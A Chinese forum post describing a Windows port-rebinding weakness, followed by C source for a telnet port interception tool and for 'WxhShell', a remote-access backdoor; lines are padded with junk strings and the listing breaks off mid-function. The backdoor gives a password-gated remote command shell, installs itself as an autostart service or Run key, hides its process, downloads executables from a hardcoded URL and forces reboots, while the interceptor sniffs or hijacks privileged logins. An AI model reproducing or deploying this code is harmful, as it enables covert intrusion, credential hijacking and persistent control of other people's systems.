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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zH=hI Vc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K\^&+7&zVg  
&yLc1#H  
  saddr.sin_family = AF_INET; MGybGbd  
H.~bD[gA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }\Z5{OA  
qjLo&2)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o](.368+4  
dtTlIhh1V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9L"?wv  
jONjt(&N  
  这意味着什么?意味着可以进行如下的攻击: euZ I`*0  
fl)zQcA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zs8I  
E}$V2ha0zu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sN]Z #7  
61:9(*4~!F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hdj%|~Fj  
7I3:u+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &+- e  
) ,Npv3(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q52 bh'cuU  
J]\^QMX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -u~eZ?(!Ye  
O`(U/?   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZNL5({lv  
]M\q0>HoJ  
  #include [YE?OQ7#  
  #include gjZx8oIoP  
  #include r|-J8s#  
  #include    `M]BhW)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +WL  D  
  int main() #(dhBEXPW;  
  { sam[s4@eQ  
  WORD wVersionRequested; tN!Bvj:C[M  
  DWORD ret; j@t{@Ke  
  WSADATA wsaData; f?-J#x)  
  BOOL val; :rmauKR  
  SOCKADDR_IN saddr; 6t$N78U  
  SOCKADDR_IN scaddr; 8A4TAT4,  
  int err;  mn`5pha  
  SOCKET s; vHc#m@4o  
  SOCKET sc; ]}~4J.Yn  
  int caddsize; I>hmbBlDv  
  HANDLE mt; /.@x 4cdS  
  DWORD tid;   `oXg<tivU  
  wVersionRequested = MAKEWORD( 2, 2 ); vX.]hp5~  
  err = WSAStartup( wVersionRequested, &wsaData ); O{BW;Deo  
  if ( err != 0 ) { =mLeMk/7 w  
  printf("error!WSAStartup failed!\n"); #JFYws  
  return -1; L!vWRwZwC  
  } g]4y AV<2  
  saddr.sin_family = AF_INET; ,!H\^Vfl  
   rXDJ:NP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2-7Z(7G{ F  
b"3uD`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c_DaNEfaY  
  saddr.sin_port = htons(23); Ys%'#f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4 +I 3+a"  
  { h[y*CzG  
  printf("error!socket failed!\n"); xD^wTtT  
  return -1;  +Lhe,  
  } {83C,C-  
  val = TRUE; 4UVW#Rw{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $E@ouX?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bq: [Nj  
  { *?p ^6vO  
  printf("error!setsockopt failed!\n"); =-m(\ }  
  return -1; bw0 20@O*  
  } y:C)%cv}*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WV@X@]U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nfa_8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W7$s5G,  
gY%OhYtF2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3?  };  
  { Yfe'#MKfL  
  ret=GetLastError(); /Bh>  
  printf("error!bind failed!\n"); X0!Bs-WFp  
  return -1; r(]98a]o~  
  } TqXg e{r  
  listen(s,2); [0wP\{%  
  while(1) ^glX1 )  
  { ^K"ZJ6?+1  
  caddsize = sizeof(scaddr); z>7=k`x`:  
  //接受连接请求 )O9fhj)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .(JE-upJ"  
  if(sc!=INVALID_SOCKET) X:U=MWc>  
  { D$QGLI9(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ma1 (EJ/  
  if(mt==NULL) Etw~*  
  { $,.3&zsy  
  printf("Thread Creat Failed!\n"); O/(3 87=U  
  break; [;*\P\Xih  
  } |^ ?`Q.|c$  
  } WFRsSp2  
  CloseHandle(mt); ?vMK'"  
  } 1E8$% 6VV  
  closesocket(s); hr%U>U9F  
  WSACleanup(); 8~;{xYN )  
  return 0; l},dQ4R  
  }   h,]tQ#!s8  
  DWORD WINAPI ClientThread(LPVOID lpParam)  ccRlql(  
  { 3xP~~j;7  
  SOCKET ss = (SOCKET)lpParam; mZ]P[lQ'5  
  SOCKET sc; ix:2Z-  
  unsigned char buf[4096]; X {#bJ  
  SOCKADDR_IN saddr; KuIkul9^%  
  long num; Ih(:HFRMq6  
  DWORD val; SwyaYK  
  DWORD ret; DE5d]3B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1X[ 73  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P`7ojXy  
  saddr.sin_family = AF_INET; sf fV.cC`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2XzF k_6H  
  saddr.sin_port = htons(23); d:A\<F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;& RUE  
  { C(f$!~M4b  
  printf("error!socket failed!\n"); +8]W\<Kp  
  return -1; n/xXQ7y  
  } 1aBD^^Y  
  val = 100; 4s[`yV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eH ;Wfs2f  
  { 7We?P,A\;  
  ret = GetLastError(); th5 X?so  
  return -1; (irk$d %  
  } 65'`uuPx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {k kAqJ  
  { >?^~s(t  
  ret = GetLastError(); s[Y)d>~\$=  
  return -1; 0PYvey }[  
  } .UNF~}^H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) " ]aQ Hh]f  
  { )C'G2RV  
  printf("error!socket connect failed!\n"); &B?@@ 6  
  closesocket(sc); ~D<7W4c  
  closesocket(ss); s;vWR^Ll  
  return -1; y2oB]^z&n  
  } ,lrYl!,  
  while(1) Mr$# e  
  { M' &J _g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &mX5&e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |E46vup  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *>E I2HX  
  num = recv(ss,buf,4096,0); NYWG#4D  
  if(num>0) s@[C&v  
  send(sc,buf,num,0); r~8D\_=s  
  else if(num==0) w%>aR_G  
  break; qFV;n6&V  
  num = recv(sc,buf,4096,0); j)g_*\tQ  
  if(num>0) 5LDQ^n  
  send(ss,buf,num,0); O<}ep)mr  
  else if(num==0) qFvg}}^y  
  break; 9V|E1-")E  
  } +P>Gy`D9  
  closesocket(ss); `'z(--J}`  
  closesocket(sc);  !7 ei1  
  return 0 ; nAQyxP%  
  } #Tr;JAzVjG  
jA20c(O  
eXj\DjttG}  
========================================================== Q%M'[L?[  
#E- VW  
下边附上一个代码,,WXhSHELL @5{.K/s  
8[6ny=S`  
========================================================== w$w>N(e  
!^c:'I>~  
#include "stdafx.h" .`oJcJ  
[VY8?y  
#include <stdio.h> r Iya\z1W  
#include <string.h>  ET >S  
#include <windows.h> tYI ]LL  
#include <winsock2.h> r1[E{Tpz  
#include <winsvc.h> .Q=2WCv0  
#include <urlmon.h> >P6^k!R1y  
h(C#\{V  
#pragma comment (lib, "Ws2_32.lib") M/::`yJQu  
#pragma comment (lib, "urlmon.lib") eT7!a']x  
@<@R=aqE  
#define MAX_USER   100 // 最大客户端连接数 SREDM  
#define BUF_SOCK   200 // sock buffer 1g~Dm}m  
#define KEY_BUFF   255 // 输入 buffer )LXoey!aZ  
{AU` }*5  
#define REBOOT     0   // 重启 AijPN  
#define SHUTDOWN   1   // 关机 HGP%a1RF#  
_H~pH7WU  
#define DEF_PORT   5000 // 监听端口 w0a+8gexi  
iQ]T+}nn_  
#define REG_LEN     16   // 注册表键长度 H(5S Kv5  
#define SVC_LEN     80   // NT服务名长度 ,wwU` U  
B-y0;0  
// 从dll定义API 2.fyP"P L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dXA{+<!!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,XWay%8{E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "4Vi=*2V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZYwBw:y}y  
SeRK7Q&_  
// wxhshell配置信息 Mr5('9%  
struct WSCFG { D-TNFYYy2  
  int ws_port;         // 监听端口 OCbQB5k3  
  char ws_passstr[REG_LEN]; // 口令 )#b}qc#`  
  int ws_autoins;       // 安装标记, 1=yes 0=no pz*/4  
  char ws_regname[REG_LEN]; // 注册表键名 \j2 : 6]Hm  
  char ws_svcname[REG_LEN]; // 服务名 'NQMZfz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x[GFX8h(k6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }AMYU>YE=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C&gOA8nf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7':5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?YkO+?}+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CI~hmL0  
2R_opbw  
}; uZqu xu.  
z{D$~ ob  
// default Wxhshell configuration )RAv[U1  
struct WSCFG wscfg={DEF_PORT, ]HNT(w@  
    "xuhuanlingzhe", q_9N+-?{7  
    1, WL)_8!  
    "Wxhshell", PK.h E{R  
    "Wxhshell", dN$D6*  
            "WxhShell Service", 8^P2GG'+-  
    "Wrsky Windows CmdShell Service", C)&gL=O*$  
    "Please Input Your Password: ", J]=aI>Ow  
  1, ;9!yh\\   
  "http://www.wrsky.com/wxhshell.exe", +hgaBJy  
  "Wxhshell.exe" !~|"LA!jn  
    }; ;i-D~Np|  
~$y#(YbH  
// 消息定义模块  bbQ 10H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5fvUv"m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;:-2~z~~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z/P^-N>  
char *msg_ws_ext="\n\rExit."; .=b +O~  
char *msg_ws_end="\n\rQuit."; Tg <>B  
char *msg_ws_boot="\n\rReboot..."; 6bRQL}[  
char *msg_ws_poff="\n\rShutdown..."; vZ_DG}n11  
char *msg_ws_down="\n\rSave to "; ZaNyNxbp>z  
6gg#Z  
char *msg_ws_err="\n\rErr!"; +X%fcoc  
char *msg_ws_ok="\n\rOK!"; :nbW.B3GV  
dp//p)B>  
char ExeFile[MAX_PATH]; `3>)BV<P  
int nUser = 0; "u,~yxYWl  
HANDLE handles[MAX_USER];  jKb=Zkd  
int OsIsNt; &23ss/  
H~_^w.P  
SERVICE_STATUS       serviceStatus; 1CS]~1Yp:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N8L)KgM5#7  
R<0!?`b  
// 函数声明 @|\s$L  
int Install(void); >ihe|WN  
int Uninstall(void); N?U&(@p  
int DownloadFile(char *sURL, SOCKET wsh); +poIgjq0  
int Boot(int flag); P`IMvOs&  
void HideProc(void); ]uj.uWD  
int GetOsVer(void); C(%5,|6  
int Wxhshell(SOCKET wsl); K_lCDiqG  
void TalkWithClient(void *cs); Bu >yRL=*  
int CmdShell(SOCKET sock); 2Z IpzH/8  
int StartFromService(void); ~RR_[t2Z  
int StartWxhshell(LPSTR lpCmdLine); nE "b`  
@=zBF'<.9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fY\tvo%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n]ppO U|[  
gx>mKSzy  
// 数据结构和表定义 z_,]fd=o  
SERVICE_TABLE_ENTRY DispatchTable[] = GE3U0w6WbK  
{ _I70qz8  
{wscfg.ws_svcname, NTServiceMain}, 5Ret,~Vs9|  
{NULL, NULL} 3_1Io+uXk  
}; y3o4%K8  
S,<.!v57  
// 自我安装 @Qsg.9N3K  
int Install(void) ,IVr4#w0=  
{ %Ty {1'o  
  char svExeFile[MAX_PATH]; PK`(qK9  
  HKEY key; k s`  
  strcpy(svExeFile,ExeFile); 0R^(rE"2#  
PS<tS_.  
// 如果是win9x系统,修改注册表设为自启动 I\4`90uBN  
if(!OsIsNt) { 7Hkf7\JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y"\T*lKa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \3Ald.EqtM  
  RegCloseKey(key); d<cbp [3F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I(kIHjV|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .LTFa.jxA  
  RegCloseKey(key); R^O)fL0_  
  return 0; !VZCM{  
    } o  >4>7  
  } xg5@;p  
} 7u3b aM  
else { ib=^ tK  
FCB/FtI0  
// 如果是NT以上系统,安装为系统服务 Qs[EA_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hr,gV2n  
if (schSCManager!=0) -8kW!F  
{ 8}`8lOE7  
  SC_HANDLE schService = CreateService mS;Q8Crh  
  ( 2F@<{v4  
  schSCManager, {kO:HhUg  
  wscfg.ws_svcname, KZ/^gR\d  
  wscfg.ws_svcdisp, kX .1#%Ex  
  SERVICE_ALL_ACCESS, J3SbyI!T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t:@A)ip  
  SERVICE_AUTO_START, 9d(v^T  
  SERVICE_ERROR_NORMAL, { rJF)\2  
  svExeFile, MJR\ g3  
  NULL, CpdY)SMSL  
  NULL, EBE>&{%$^  
  NULL, r|BKp,u9  
  NULL, QMpA~x_m  
  NULL hfa_M[#Q-  
  ); N<r0I-  
  if (schService!=0) ZrT|~$*m`  
  { $[;eb,  
  CloseServiceHandle(schService); 8r|  
  CloseServiceHandle(schSCManager); hpe s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q$*_C kT  
  strcat(svExeFile,wscfg.ws_svcname); c@{^3V##T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vk=<,<BB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _BaS\U%1(  
  RegCloseKey(key); /FZ )ej\  
  return 0; &I_!&m~  
    } nE$ V<Co}  
  } w|*G`~l09  
  CloseServiceHandle(schSCManager); BnY|t2r  
} fBh|:2u  
} & b2(Y4  
(D3m5fO  
return 1; XE%6c3s  
} K4L#%KUPW  
5]ob;tAm  
// 自我卸载 Nxk'!:  
int Uninstall(void) bvvx(?!  
{ *3oQS"8  
  HKEY key; G2k71{jK  
QZP;k!"w  
if(!OsIsNt) { J=bOw//  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KywT Oq  
  RegDeleteValue(key,wscfg.ws_regname); OtqLigt&l  
  RegCloseKey(key); !.N=Y;@lY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { teALd~;  
  RegDeleteValue(key,wscfg.ws_regname); 0tyU%z{RV  
  RegCloseKey(key); ds[~Cp   
  return 0; S8<aq P  
  } EU~'n-  
} (Gs g+c   
} ( ~o+pp!  
else { ]&BFV%kw  
f 8U;T$)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kwau:_B  
if (schSCManager!=0) ~qxc!k!w4  
{ 0']M,iC/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Stx-(Kfn4  
  if (schService!=0) Onyq'  
  { NE nP3A  
  if(DeleteService(schService)!=0) { `buTP?]4.  
  CloseServiceHandle(schService); [a6lE"yr  
  CloseServiceHandle(schSCManager); sNTfRPC  
  return 0; 0$ EJ4  
  } 3N\X{za  
  CloseServiceHandle(schService); _"TG:RP  
  } M](U"K?  
  CloseServiceHandle(schSCManager); jlZNANR3  
} ymqhI\>y#  
} @UBp;pb}=h  
h@8  
return 1; CiF bk&-g  
} )A"7l7?.n)  
rkp0ej2-  
// 从指定url下载文件 0eIR)#j*  
int DownloadFile(char *sURL, SOCKET wsh) !<'R%<E3 Q  
{ <9vkiEo  
  HRESULT hr; _l<"Qqt  
char seps[]= "/";  _^ZII  
char *token; YN3uhd[2  
char *file; .d,Zx  
char myURL[MAX_PATH]; xCD+qP ^  
char myFILE[MAX_PATH]; l0V@19Ec  
!Ai;S  
strcpy(myURL,sURL); #{a<{HX  
  token=strtok(myURL,seps); +ZO*~.zZ  
  while(token!=NULL) C2T,1=  
  { .l!Z=n|  
    file=token; L M[<?`%p  
  token=strtok(NULL,seps); yo=d"*E4^  
  } Urr1 K)  
XafyI*pOX  
GetCurrentDirectory(MAX_PATH,myFILE); [;bLlS,  
strcat(myFILE, "\\"); ah.Kb(d:  
strcat(myFILE, file); nNr3'6lz  
  send(wsh,myFILE,strlen(myFILE),0); dEn hNPeRl  
send(wsh,"...",3,0); ZBWe,Xvq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BN67o]*]<  
  if(hr==S_OK) |m% &Qb  
return 0; im`^_zebj  
else SE1 tlP  
return 1; P:o<kRj1  
)/Vr 5b@  
} b~p <   
1vr/|RWW  
// 系统电源模块 0J" 3RTt  
int Boot(int flag) <f%9w]  
{ r_",E=e  
  HANDLE hToken; JqO( ]*"Hi  
  TOKEN_PRIVILEGES tkp; f$/D?q3N  
>X]<s^  
  if(OsIsNt) { w@4+&v>O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0qv)'[O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _gHJ4(?w  
    tkp.PrivilegeCount = 1; b]~M$y60q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ kknY+n1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VmW_,  
if(flag==REBOOT) { ?{n#j,v!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @UA>6F  
  return 0; JmK+#o  
} 5D#*lMSP"'  
else { DI\^ +P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W$&Q.Z  
  return 0; otOl7XF  
} (]JJ?aAF  
  } _VJb i,V  
  else { SaNx;xgi  
if(flag==REBOOT) { <:p&P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a7Jr} "B  
  return 0; LZeR .8XM>  
} BBX4^;t  
else { [x&&N*>N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P>H'od  
  return 0; wNPZ[V:  
} #X)s=Y&5!T  
} 1)%o:Xy o  
k;)L-ge9  
return 1; i|<*EXB"  
} )z aMycW  
3K'3Xp@A  
// win9x进程隐藏模块 (GeJBw,Q  
void HideProc(void) i55']7+0  
{ f7`y*9^  
w9 N Um  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3RD Q{&J:  
  if ( hKernel != NULL ) -~5yl}  
  { %VdJ<=@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XdB8Oj~~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XhS<GF%  
    FreeLibrary(hKernel); >Nov9<p  
  } N>/U%01a  
2]7nw1&  
return; +n0y/0Au  
} }SYvGp{J,  
{30A1>0#P  
// 获取操作系统版本 6PTD%Rf\  
int GetOsVer(void) {u:DC4eut  
{ wk3yz6V2  
  OSVERSIONINFO winfo; eVy,7goh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L 0|u^J  
  GetVersionEx(&winfo); Kp"o0fh<9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dkXK0k  
  return 1; #bGt%*Re p  
  else iQA f  
  return 0; rod{77  
} fQv^=DI#  
{RzlmDStV  
// 客户端句柄模块 'a0$74fz  
int Wxhshell(SOCKET wsl) `=FfzL  
{ 3c6#?<%0`  
  SOCKET wsh; ?&N JN/+%  
  struct sockaddr_in client; 6@bO3K|  
  DWORD myID; S3 &L  
~*H!zKIx  
  while(nUser<MAX_USER) WT1ch0~2  
{ rHP5;j<]  
  int nSize=sizeof(client); r;9F@/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &'R\yX<J)  
  if(wsh==INVALID_SOCKET) return 1; &u.t5m7(  
'(ql7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? -6oh~W<  
if(handles[nUser]==0) f 1]1ZOb  
  closesocket(wsh); OJ&~uV>2  
else  aj1Zi3h  
  nUser++; "/wZtc  
  } v\&Wb_;A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6VIi nuOW  
d?'q(6&H  
  return 0; 58WL8xu  
} f~t*8rG~m  
Yf<6[(6 O  
// 关闭 socket bz,C%HFA  
void CloseIt(SOCKET wsh) 85-00m ~  
{ S)p1[&" M  
closesocket(wsh); rtC.!].;%  
nUser--; HPT$)NeNc  
ExitThread(0); !@5B:n*  
} c?IFI   
{4\(HrGNk  
// 客户端请求句柄 :IvKxOv  
void TalkWithClient(void *cs) !5&% P b  
{ 3 l QGU  
6_rS!X  
  SOCKET wsh=(SOCKET)cs; 6Xbo:#  
  char pwd[SVC_LEN]; ?o?~Df&  
  char cmd[KEY_BUFF]; N"@aisi)  
char chr[1]; 1r'skmxq  
int i,j; !-)Hog5\  
}HRM6fR1S  
  while (nUser < MAX_USER) {  1ti+ Q0~  
r< sx On  
if(wscfg.ws_passstr) { B^Fe.ty  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y?ouB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ET.c8K1f  
  //ZeroMemory(pwd,KEY_BUFF); V]&0"HX2r!  
      i=0; ha&2V=  
  while(i<SVC_LEN) { 7&-B6Y4  
unY+/p $  
  // 设置超时 2= S;<J  
  fd_set FdRead; 2M1}`H\  
  struct timeval TimeOut; Bs:INvhYW  
  FD_ZERO(&FdRead); kLtm_  
  FD_SET(wsh,&FdRead); 8 6y)+h`  
  TimeOut.tv_sec=8; j]~;|V5Z  
  TimeOut.tv_usec=0; _[SW89zk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8&t3a+8l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^~XsHmcQ  
B~xT:r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FX}kH]  
  pwd=chr[0]; U|Z Yoc+](  
  if(chr[0]==0xd || chr[0]==0xa) { #2{H!jr  
  pwd=0; ,}?x!3  
  break; |soDt <y+L  
  } aGSix}b1P  
  i++; 0&wbGbg(W  
    } ~?E.U,R  
\%[sv@P9s  
  // 如果是非法用户,关闭 socket &BxDS .  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;=r_R!d@  
} ~*NG~Kn"s  
7\.{O$Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j AXKp b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + xYU$e6Z  
;xqN#mqq  
while(1) { M it3q  
csK;GSp}  
  ZeroMemory(cmd,KEY_BUFF); wjEyU:  
~[a6  
      // 自动支持客户端 telnet标准   b}<?& @  
  j=0; /hF@Xh%hY  
  while(j<KEY_BUFF) { WtS5i7:<Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w{ +G/Ea  
  cmd[j]=chr[0]; 3mP251"dIW  
  if(chr[0]==0xa || chr[0]==0xd) { 6 rp(<D/_  
  cmd[j]=0; dBRK6hFC  
  break; HAKB@h)  
  } Rq`d I~5!b  
  j++; 4 x|yzUx  
    } fmgXh)=  
0)Nu  
  // 下载文件 N1!O8"Q|*3  
  if(strstr(cmd,"http://")) { a*2JLK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2pQ29  
  if(DownloadFile(cmd,wsh)) %r =9,IJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K&'Vd@  
  else dQljG.PiK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,azBk`$iQr  
  } [%LIW%t|  
  else { OrP i ("/  
7ILb&JQ!%{  
    switch(cmd[0]) { JfLoGl;p m  
  X+7@8)1(  
  // 帮助 )i/x%^ca$  
  case '?': { _ ci8!PP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,hSTR)  
    break; r7FFZNs!  
  } as^!c!  
  // 安装 %LjhK,'h  
  case 'i': { B>r>z5  
    if(Install()) ,z5B"o{Et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }'u0Q6Obj  
    else 8[rZRc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xn6'*u>+;[  
    break; n?mV(?N  
    } pq +~|  
  // 卸载 / n@by4;W  
  case 'r': { l1UN.l'p  
    if(Uninstall()) $N/"c$50,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}lNb  
    else (|dN6M-.K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / NB;eV?  
    break; WH lvd  
    } AQgagE^  
  // 显示 wxhshell 所在路径 M _e^KF  
  case 'p': { ~y" ^t@!E  
    char svExeFile[MAX_PATH]; d)1Pl3+  
    strcpy(svExeFile,"\n\r"); kWZ/O  
      strcat(svExeFile,ExeFile); |Ye%HpTTv  
        send(wsh,svExeFile,strlen(svExeFile),0); ~{$5JIpCm  
    break; <G60R^o  
    } /SKgN{tWe  
  // 重启 f9a_:]F  
  case 'b': { Yq0jw&v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VRA0p[  
    if(Boot(REBOOT)) k:DAko}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eb=#{  
    else { JW9U&Bj{  
    closesocket(wsh); 8)V6yKGO  
    ExitThread(0); [DSD[[ z[  
    } VWT\wA L  
    break; V1 O]L66  
    } (aX6jdvo  
  // 关机 `kM:5f+>W  
  case 'd': { Af XlV-v  
